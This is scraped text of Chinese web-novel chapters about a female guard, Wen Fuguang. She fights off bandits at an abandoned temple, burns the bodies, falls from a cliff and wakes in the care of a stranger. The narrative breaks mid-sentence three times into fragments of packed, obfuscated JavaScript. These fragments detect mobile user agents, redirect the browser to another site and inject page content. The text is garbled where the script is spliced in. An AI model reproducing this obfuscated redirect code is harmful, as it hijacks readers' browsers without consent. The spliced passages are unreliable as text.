l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970412|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二郎君告罪——这丝绢是......定做,却是不好给了郎君的。” 李掌柜将人名说得含糊,肖从晗没听清,只道是锦绣坊背后的东家,那富贵少男显然是听明白了,神色也从被人顶撞的不快转为舒展,眼底的愠意瞬间褪去,反倒露出几分庆幸。 “是么,既然是他的东西,那我可不敢夺了去。”少男浅笑,方才的傲慢一扫而空,“听说他今日在坊中?” “这......东家确实今日确实来过,不过方才已经走了。” “原来如此。”姜菱菱明显有些失望,然而心念流转,将丝绢交还掌柜后,便与肖从晗攀谈起来。 这少男明显出身富贵,他要问话,肖从晗只得配合,况且他也并没问什么出格的,不过是问些出身和作诗的事。 待说出自己的母亲曾经是上京赶考的举子,他的诗才也都是由母亲培养出来的,那富贵少男的神色便有些了然。 江南读书风气重,男学也日渐兴盛,渐渐传到京城后,许多京城大户人家的男儿也有机会读书认字。 但对平民男子来说,识字还是一件奢侈的事情。 毕竟让他们认了字有什么用呢,既不能做官又不能更好地服侍未来的妻主,打理家务,何况学业昂贵,没人会特意教他们读书识字。 而拥有一位举人出身的母亲就大有不同了,他也算是出身于耕读之家。 姜菱菱出身林阳王府,是这代林阳王姜栯的亲弟。他爱读诗,也喜欢结交同样爱诗之人。前朝的那些风流倜傥、随性旷达的诗人娘子们跨越时光,始终俘获着不少小郎的心,他们因共同仰慕诗人而结成诗会,聚会时自己爱写,也会拉些新的同好们入会。 只是他毕竟是宗室男,他的手帕交们俱是官宦人家的男郎,哪怕眼前这位小郎所做的诗让他眼前一亮,却到底还是没有多说什么。 姜菱菱没有忘记今日出门的目的,他是特意来偶遇他那位尊贵的堂哥的。 自从去年重徽郡君与庆康帝卿前后脚回了京城,他的长姐就吩咐他一件事:务必要与重徽郡君交好,若能哄得他倾心效忠自家的那些人家的娘子们便更好。 然而他现在连第一步也没做到,更遑论在这位堂哥面前提起那些优秀娘子们。 这位堂哥回京后以来几乎从不与他人来往,只有寥寥几个姜姓宗室男见过他。 外人只知道他是已故桂王仅存的血脉,自小随帝卿在淮南长大,除此以外对他的性情相貌并不了解。姜菱菱轻抬眼皮轻蔑一笑,京中高门贵男出挑者不少,却几乎没什么人见过姜栀棠的真容,否则恐怕就没有如今号称京城第一美人的那位什么事了。 时下京城贵男们流行的结诗社、投壶、捶丸、樗蒲等玩乐,这位郡君一概不参与,也不参与别家办的什么游园会之类,平日里深居简出,连个人影也不见,不知道在忙什么。 连姜菱菱自己也是偶然才能见其一面寒暄一二,前几日他偶然得到消息,说姜栀棠今日要到名下铺子查账,这才特意赶来,却没想到还是来晚了一步。 说起来京中卖首饰绣品的铺子多了去了,锦绣坊既不是生意最好的,也不是规模最大的,却是由姜栀棠亲自打理,可见重视。姜菱菱再次在铺中环视一圈,并没发现有什么不同寻常的地方,有些不解。眼看今日达不成目的,便只好离开。 29. 第 29 章 天上厚厚的云层将月光挡得严实,半空时不时劈开一道亮光,将地上的一切尽收眼底。 雨点狠狠砸在破败的土地庙顶上,水流顺着屋檐与墙壁的纹路气势汹汹地汇集,明明没人说话的庙中吵得闻赋光翻了个身,蒙住了脑袋。 这趟出公差还算顺利,没遇到什么事,今日已经是返程的第二日。 原本她们是要住驿站的。然而今日行至午后,天色突变,乌云阴沉沉涌了过来,直压得人心头喘不过气。 那时她们正在野外,方圆没什么人烟,要再返回早晨出发的驿站显然来不及。 几人只好先随便找个什么地方躲躲雨,这便找到了如今身处的这个土地庙。 这庙显然荒了很久了,供桌上没有任何供奉,蛛网结得到处都是,地面上还积了一层厚厚的灰。 里头的神像不知去向,窗框上也已空空荡荡,好歹门还在,不过也破破烂烂裂了缝,推门时发出了长长的叫人忍不住牙酸的吱呀声。 这样显然是避不了风雨的。索性几人在兴南庄完成了此行的任务,回程受阻虽然无奈,但也不用太过着急。 眼看风雨没有止息的意思,干脆把这地修补一番,她们囫囵在此地过一夜再说。 鹄州城的地方官很是配合工作,临走了还帮她们把包裹塞满了。 用以塞满包裹的自然不会是金银,都是些实用的东西,在此时此地显得十分贴心。 闻赋光几人用布料把窗洞、门洞等能补的补上,能塞的塞上,屋里顿时没那么冷了。 她们还点了件衣服做火引子,烧了些柴火做火堆取暖,闻赋光适当地扯开了个窗户上的透气孔,防止酿成惨案。 说来惭愧,那堆柴火在她们进庙前还是庙中的桌案,只是这庙荒了多年木头早干了,一劈就散,倒便宜了她们。 环境十分朴素,好在水总是不缺的,她们煮了几壶水,又啃了些干粮肉饼,粗糙地解决完一顿晚饭,几人便无所事事地躺下歇息。 阮笛前两日就与她们分开去探亲了,这会庙中就她们五人。 庙中没了神像,空出一大块地来,这才塞下了五人五马仍有空余。 为表尊敬,她们把一头让给了程御史,另外四人都睡在另一头。 马儿们在庙门口扑哧扑哧地打着响鼻,车工睡在马匹旁边,时不时伸手摸摸它们。 闻赋光睡在华其真和另一名叫林崧的姐妹中间,她们倒是不受被窗外的风雨雷电声影响,温热的气息带着轻轻的鼾声打在闻赋光耳畔,有点麻痒。 边上有两个热乎乎的猛女真是令人安心。 或许是被身边人良好的睡眠所感染,闻赋光的意识也逐渐模糊起来。她在半睡半醒中默默想着:幸好阮笛不在,否则还要多出一人一马,到时候她们恐怕就要睡在马背上了...... 不过很快她就后悔这么想了。 破庙本就脆弱的大门被人一脚踹开后,众人的反应并不太及时。 天上的动静实在太大了,踹门的那一脚声响恰好与一声雷声相合,立刻隐匿在雷声之中,几人挨挨挤挤在一块,谁也没有发觉不对。 直到寒风卷着雨滴落到身上、面上,闻赋光才猛地惊醒,摇醒了身旁的两人。 她直起身子,借着火堆的亮光,勉强看清那令人战栗的一幕:暗夜中,有几名黑衣人手持刀斧立在庙门口,其中一个狠狠地砍向了睡在离庙门口最近的车工身上,她已经没了声息倒在地上,生死不知。而刚才落在脸上的“雨水”,恐怕并不只是雨水。 “什么人!”三人显然都看到了,纷纷抓起身旁的佩刀一跃而起。 闻赋光心头猛的一紧,毫不犹豫地横刀上前,率先与行凶之人缠斗起来,并不忘提醒同伴:“保护程大人!” 庙中原就已被她们几人和几匹马塞得满满当当,这群匪徒要想先进门,首先面对的就是离门边最近的车工。 车工不知道如何,那几匹马还挡在门口。 马不像人,杀了也没法快速挪开,更何况这年头马还是贵重的财产,非富贵之家不能有,那几名黑衣人没有杀马,还被堵在外头进不来。 闻赋光刀势凶悍,自下而上撩起,震飞了行凶之人手中的武器。趁此机会,她反手一拧,就给眼前人来了个开膛破肚。 来不及仔细思考发生了什么,在那行凶人身后,已有数个黑衣人一拥而上。 “你们守好程大人,这里有我!” 她们几个侍卫此行的目的是要把程大人全须全尾,完完整整地带回去。况且庙小,人多了施展不开,这黑天暗地的也怕伤到队友,不让她们来,还更方便她放开手脚。 华其真和林崧提着刀守卫在惊魂未定的程大人旁边。程庄显然也被这动静惊醒了,但到底不如她们几个武人年轻精壮,此时还没反应过来,想上前查看门口的车工情况如何,被林崧立刻制止。 闻赋光悍厉的刀风始终将匪徒们挡在门外,半步都踏不进门来。匪徒人不多,只有六七个,她以一对多,并不显吃力。 与预想中的雷霆杀机不同,这群人并没有多么精妙的武艺,不过是力气比常人更大些,下手狠辣但并不难对付。闻赋光手起刀落,黑衣人一个个倒在了地上。 为了方便查探,几人点了一排火把,端详地上的数具尸首。 车工被一刀砍中了脖颈,当场就毙命了,这会没有安置的条件,只好先把她放在一旁。 倒是另外几个匪徒,她们统一做黑衣打扮,身长有高有矮,手心的茧子分布看着不像是杀手打手,而像是做力气活的。 “像是山林里的流寇,平日里无事的时候打打猎种种地,若有过路的肥羊就提刀来宰。今日午后到现在雨势未停,我们一直在这座庙中躲雨,恐怕被她们盯上许久了。”闻赋光得出初步结论,另外两人的想法也差不多。 林崧蹲在地上看完,起身骂道:“*&#@,她们下手如此狠辣,肯定得手过,吃到了甜头。过路人大多手无寸铁,自然斗不过这些人,这次碰上咱们几个有功夫的,被赋光一刀砍了,也是她们命该绝了。” 兴南庄的差事并不大也不复杂,无非是代表天家代表朝廷向亡者家属抚慰一二,再者监工河堤的修复。这是靠近年关了,要防止人心生乱这才有的这一趟出京,若非如此,这样的事由地方官来做也就差不多了,并不是一定要劳动京官的。 闻赋光琢磨着,觉得这里头着实没什么值得引来追杀的隐情,应当就是流寇作乱。 “这些匪徒恐怕手上已有不少人命,实在作恶多端!”程庄出离愤怒,直言回京后定要上书请奏,请附近驻守的军队前来剿个干净。 “大人,出了这样的事,此地不能久留了,咱们尽快离开此地吧。”华其真搬起了庙中的行囊绑在马身上,向程庄提议道。 因怕把东西留在庙外的马车上会被雨打湿,此时几人的包袱行囊都在庙中,那群匪徒在庙外空荡荡的马车中什么都没寻到,这才非要进庙中来劫掠。 闻赋光的也同她们的在一处,只除了姜栀棠给的那个小包,收纳得十分合理且方便携带,被她揣在怀里收着。 这会雨势比之前小了一些,起码在雨中能睁得开眼睛看路了,戴上斗笠冒着雨赶路总比留在庙中好,程庄接受了这个提议,几人立刻开始行动起来。 这会没条件好好埋葬车工,她们将她放到了空置的马车上。至于庙中那几个人的尸首,闻赋光决定一会走之前将她们一把火烧了。 林崧扶着程庄上了马,程庄是文官,不擅长骑马,之前的路程她都是坐着马车走过的,一上去便紧张地抓着缰绳,浑身僵硬不敢动弹。 闻赋光从包裹里翻出了火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986748|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折子,原本她并不会用这玩意,但出差这么久打了多次交道,她已经点得十分熟练。 另外三人俱已经上了马,只等她毁尸灭迹完一起走。 闻赋光多处点火,她们在庙里待了一下午,并没有多少风雨侵袭进庙中,爆燃的火花很快窜了起来。 她还在庙中没退出来,庙外却传来一声惊呼:“小心!有匪徒!”闻赋光抓紧了佩刀,从里头奔了出来。 只见又有一群人如虫潮般从黑暗处涌了过来,看打扮与方才那些人似乎是一伙的。 看到里头的火光,她们哪还有不明白的,为首的那人悲愤地怒吼一声冲了上来。 “老五她们今天怕是让人点了天灯了!我们上!不上的都得死!” 闻赋光来不及上马,立刻加入了战局。 华其真和林崧骑着马护在程庄周围厮杀,这群人的身手还不如方才那几人,虽然人数多了不少,但也确实没什么用,五城兵马司出来的这几把刀对上这些人绰绰有余。 闻赋光刚松了口气,却见寒光一闪,有人挥舞着刀胡乱砍来。她举刀格挡,那刀立刻脱手飞了出去,竟不偏不倚地砍中了一条马腿。 那马痛极了,立刻嘶鸣起来,浑身乱甩,几乎要把程庄摔下来。 场面顿时一片混乱。 伤马无差别攻击,已经踹飞了两个。在场的所有人明显顾忌起来,不敢打得太过投入,生怕在被人解决之前先被马送回老家。 趁着她们投鼠忌器,闻赋光看准时机,飞身一把抓住程庄的衣角,将她从马上拉了下来。华其真眼疾手快,将她拽到自己身后。 “你们先走!我来断后!”闻赋光冲她们大喊。 林崧一挥马鞭就要走,华其真却还有些犹豫,只是她身后还坐着程庄。程庄被刚刚那几下晃得不轻,此时状态不太好。 还是让她尽早离开为妙。 “我们沿着官道走,在驿站等你!” 闻赋光打了个手势表示知道了,转头继续厮杀。 这会地形不如方才那么有利于她,对面人数倍多于她,在打斗中也难免挂了彩,不过还好都是皮肉伤,不妨碍她行动。 ............ 又干又脆的木头在熊熊烈火中烧得爆裂开来,闻赋光淋着雨听着里面噼啪作响,握紧了手中的刀。 这个组合,有点像她以前常听的白噪音。 红泥小炉加雨声淅淅。 回过神来眼看着倒了一地的尸首,她认命地干起了苦力。 ——火都点上了,烧得正旺呢,就让你们一大家子在里头团聚吧。 好不容易打扫完战场,闻赋光全身湿透地站在雨中,茫然中又带着一丝后悔。 刚才一行人撤离得匆忙,行囊都绑在另外几人马上。她现在连个挡风遮雨的斗笠也没有,一会就要骑在马上直面风雨了,早知道就晚点烧里头了,裹块破布也比没有强。 犯了太勤快的错。 闻赋光骑着马,不情不愿地打算淋雨离开此地。 惊险刺激的夜晚也让她的神经变得异常敏感。就在这时,梅开三度,她发现又双叒有一队人马从远处渐渐靠近了这里。 还有完没完了...... 这里难道是什么大媱人民必吃野外小众打卡出片地吗一个两个的都要挤过来! 敌人来了只有大刀。 为了防止里头的火被雨水浇灭,她还特意倒了些油,保管里头的火能把尸首烧得一干二净。现在这里火光冲天,是极明显的目标,太引人注意了。 她决定尽快离开,不再探究来者的身份,随即策马扬鞭,迅速离开这个是非之地。 然而,人倒霉起来就会发生一连串倒霉事,霉运像狗皮膏药一样死死黏住了她。 闻赋光很快就真的哭了,嗷嗷哭。 30. 第 30 章 雨点浇在脸上,好像在按摩。 不,如果是她写作文,她就会写雨点像小精灵一样,在她身上跳着舞...... 想到这里,闻赋光扯出一个艰难的笑来:“嗤——咳,咳咳咳。” 她整个人挂在树杈上,一张嘴就接住数滴雨水,呛得狼狈咳嗽。 毁尸灭迹后,她本该策马沿着官道而去,与先行的三人汇合。 可人要倒霉起来就是这么没完没了。 今日雨下得太大,野外的泥路湿滑,她摸黑行路一时不察,马儿一脚踩空,连人带马滚到了不知道什么地方去。 不知马儿情况如何了,跟了她也是遭老罪了。 那一下闻赋光同样摔得不轻,好在她及时伸手,在乱七八糟的翻滚中抓住了一棵歪脖子树。有了这棵树作为缓冲,她现在才能一点点调整姿势,尝试弄明白自己现在的方位。 待她在树杈上挪过身子,才发现这是一棵吊在悬崖肚子上的树,欲上不得,欲下......看不大清,不知是否会摔死。 她是伴随着无数细小石子从山崖上滚下来的,受点皮外伤自然无可避免。却不知道有没有受什么重伤内伤,闻赋光被冻得发麻,几乎感受不到自己的某一部分肢体是否存在。 可惜古代没有身份证,不然她现在拿出来把它叼在嘴里,也算是行个方便,届时有人路过就能直接探明她的身份了。 身份证没有,但怀中的小包袱还在,那些小瓶子竟然奇迹般的没有碎,还好端端地待在里头。闻赋光有些庆幸,还好没碎,否则她先别被泥水冲死被山崖摔死,恐怕就要命丧于那些碎片了。 想到送她这些瓶子的人,闻赋光突然有些后悔。那句话怎么说的来着,人之那什么,其言也善,早知道她就积点德了。 她用尽最后的一丝力气颤抖着手,从摸了半天,摸出一片人参含在口中。 看电视剧里这玩意可是保命神器,希望对她也有用—— “呕!” 崖壁上,女子的闷哼被雨声淹没,没有任何生灵知道这里发生了什么。 当那一小片人参片被她塞进口中时,她是毫无防备的。随即,苦味像一阵滔天的巨浪,瞬间霸道地席卷过所有的一切,天地连成一片成了洪水的模样。闻赋光同样被这股洪水带走了,这股苦味冲得她浑身颤抖,面目瞬间扭曲。 那一瞬间,她眼前走马灯似的飘过了许多画面,最后定格在姜栀棠趴在她膝头,要她收下这些东西的场景。 等他也下来了,她得问问这里头放的是什么好东西...... 用尽最后的力气念叨了他一回,闻赋光眼前一黑,彻底失去知觉。 ............ “小姐,你醒了?”梳着双丫髻的年轻女孩一脸担忧地凑过来查探情况。 闻赋光望着她,一时反应不过来。 接着,她发现自己一骨碌从床上爬起来,身形敏捷,动作轻快,仿佛没受半点伤。又听见自己开口嚷嚷:“你是谁?这里是剧组,你们在拍戏吗?我要报警了啊——” 不不不不不有哪里不对吧?她好像有点ooc了...... 这个剧情已经过时了,她不要演这个! 她在心底默默大喊。 接着,闻赋光猛地睁开了眼,黯淡的深色房梁渐渐映入眼底,其上斑驳,显然历经过不少风霜。 刚刚的场景不是真的......她抬起胳膊看了看自己的手,苍白修长,淡青色的血管清晰可见,昨夜留下的血痕被衬得触目惊心。身体还是那个身体,她没有成为流浪的孤魂野鬼,善哉。 闭眼前她还挂在树上,如今出现在这里,显然是有什么人把她带了来。闻赋光缓缓坐起来转头打量这间屋子。屋子不大,陈设简朴,屋内仅有一张床和一套桌椅,没有任何生活的痕迹,看着像是在小客栈内。 躺着不动时还不觉得如何,撑着身子坐起来后,她就感受到了蔓延过全身的无力,一晃头更是晕眩不已,强烈的反胃感让她捂着嘴僵着不敢动弹。 闻赋光呼吸急促,额角冒出了细微的冷汗,不用找铜镜也知道她此刻的脸色定然不佳。一摸上脸,果然滚烫。她淋了一夜冬雨,还从崖上摔下去,到今天只是发个热,且神智还算清醒,不算倒霉到家。 除此以外,身上的衣服换过了,此时她穿着的是一件白色亵衣,本该在她身上的小包裹也并不在身边。 闻赋光靠着床头顺气,安抚着胸腔中乱跳的心脏,猜测或许是先行离开的程庄三人返回去找到了她,将她带到了这里。 然而,当吱呀一声,木门被推开后,跨过门槛走进来的却不是她所认识的任何一人。 来人是一名身量颇高的女子,看着二十岁上下的年纪,眉宇间满是出身良好又有一定天赋的年轻人特有的自傲。她一身靛蓝衣袍上没绣什么花纹,腰间佩着一样用布包裹着的物件,形状像是一把刀。 她并非是独自进来的,身后跟着同样健硕的两名侍从,身上同样佩着刀。 大媱国土内已经数年没有过战争,对武器的管控可谓非常严格。像她自己也只有当差时才有资格佩刀,这主仆三人却能正大光明地出现在这里,并不担心让她一个外人看到,想来不是寻常富户。 闻赋光捂着胸口,皱着眉对抗身体的不适,脑海中却不受影响地立刻思索起来:看穿着打扮,此人显然有些背景,应当不会与昨夜伺机偷袭她们一行人的匪贼有什么关联,说不准还真是路过的好心人。 哪怕心中转过数个念头,闻赋光面上仍是虚弱之色,她此刻实在不好受,因此没能第一时间开口。 然而两人大眼瞪小眼沉默片刻,见来人着实没有主动说话的意思,闻赋光还是挣扎着率先开口:“敢问......咳咳、可是阁下路过山崖,将在下带到了此处吗?” 一句话还没说完,已被咳嗽打断了两次,闻赋光咳得气短,已说不出更长的句子了。 那女子来到桌旁坐下。“那日我路过郊外,见有一人挂在树上,就将你带进了昌云城。”想了想,她又补了一句,“那是三日前的事了。” 三日前? 闻赋光万万没想到她这一觉睡了这么久。 “你的东西,物归原主。”不知她从哪里掏出来一个小包袱,丢了过来。 闻赋光伸手要去接,但病中无力,她没接到,任凭它落在了床上。那包袱散开了些,露出里头的东西。 里面被搜过了。 闻赋光不动声色地捡过包袱,拢起来收到身旁,没有多看一眼。 她奋力爬起来着坐正,郑重一揖,嘶哑着嗓子道:“那日我与同伴遭了贼,不慎掉下了崖,幸得娘子相救,现在我才能在这里说话。我姓闻,家住京城,这次出门是为了办差,不知阁下姓名出身?请受我一礼。” “无妨,出门在外,顺手而为而已。哦,我姓白,是宁定府人。”身后的侍从及时递来茶水,那女子接过,轻呷一口,姿态闲适,似乎并不把这桩事放在心上。 闻赋光却从中嗅出了不寻常的意味。 宁定府是位于江南的大城,人口多,更有多条航道,繁荣得很,也与昌云城相距甚远。如今临近年关,她恐怕不会是随随便便出门游玩的,恐怕是有事要办。 照这位白娘子所说,闻赋光已经昏睡三天,这三天她竟然不曾离开过,是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006306|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了等她苏醒么...... “原来是白娘子,”即使心中疑惑,闻赋光也只作感激状,“虽然观娘子气度不像是个俗人,但我现在身无长物,若说要感谢恩人,恐怕只有这些能够略作薄礼了。” 她指的是包袱里的银票。好歹人家收留了她这些天,闻赋光只好借花献佛,暂且将这包袱里的东西当成她自己的,谢过她的救命之恩。 那白姓女子并没有收,反而说起了别的。 “那日雨停了,一大早我主仆几人便继续赶路,行至道上发现了一把斜插着的刀,那样式显然是官差的刀。我们这才注意到了树上的闻娘子,将你救了下来带走。”她睨闻赋光一眼,“闻娘子可知道那刀是怎么回事?” “那正是在下的佩刀......因怕惹麻烦,刚才没有和盘托出,在下在京中五城兵马司任副指挥使,这回是奉命出京。不知那刀可带回来了?” “竟是如此,看来是我该唤一声闻大人了。”她口中这么说着,神情与动作却不见得有多少敬重惶恐,还是那副闲适平淡的模样,“我们发现时刀刃已经折断了,并未带回。” “见笑,见笑。”闻赋光干笑两声,“白娘子已经帮了在下良多,不知可否再替再下带个信去城外的驿站,报个平安?我的同僚们应当还在驿站中。” 昌云城是距离事发地最近的一所城池,那天晚上若是顺利,她们几人正是要在昌云城外的驿站汇合,如今闻赋光自己已经苏醒,当然要去禀告一声。 “小事一桩。你,去跑个腿。”她扭头对身旁的一名侍从吩咐道。 那侍从应了,很快退下,闻赋光自然又是千恩万谢。 房中对话的气氛十分和谐,她几次试探,都没有打探出这位白娘子的目的,只好暂且当她是大发慈悲,不求回报地做善事,而闻赋光自己当然就是那个幸运的受益者。 “闻娘子这回是差事办完了,要回京城去?”谈话的末尾,她随口问道。 “是,不过我如今染了风寒,恐怕还不能即刻上路,因此需得与我那些同伴说一声,叫她们先走。如今天寒地冻,我自己总要等好全了才能回去。” 顷刻间,闻赋光已经打定了主意。染了风寒要修养不假,在封建时代感冒可不是小事,这样的天气若是非要上路,搞不好她真的要把小命搭上。她虽然无畏生死,但也不想如此草率地就下去了。 况且在外住一阵子,也能喘口气,过两天没有任何人认识她的日子。在京城里她是闻家女,可在这座昌云城里,她只是一个外来客,居无定所,身若飘萍...... 简单说,她就是想过几天死宅足不出户的日子了。 “既然如此,闻娘子可在此地好好养病。我原先还想邀闻娘子一同上路,看来是不成了。”看着旁边女子略带遗憾的神色,闻赋光有些摸不着头脑。 “白娘子也要去京城吗?” “是啊,快过年了。”她不知从哪里掏出一把折扇,优雅地轻扇起来,“我同家里吵了架跑出来云游,此前还没去过京城,因此十分向往,趁这回想去开开眼。” 她为什么大冬天扇扇子?外面的人都流行这样吗? 但闻赋光这回没空细想了,她被折扇带起的风吹到,狠狠打了两个喷嚏;“阿嚏!阿嚏!” 那女子明显有些尴尬,又被她的喷嚏所惊,几乎立刻要跳起来躲开她,全身一颤后又似乎想起这样十分不雅,硬是按捺下来,然而谈话间营造的淡然形象也已经荡然无存。 闻赋光被冷风一激,这时也没法圆场,好在白娘子很快反应过来,声称自己还有事,要她好好休息,赶紧带着侍从走了出去,留闻赋光伏在床上继续装死。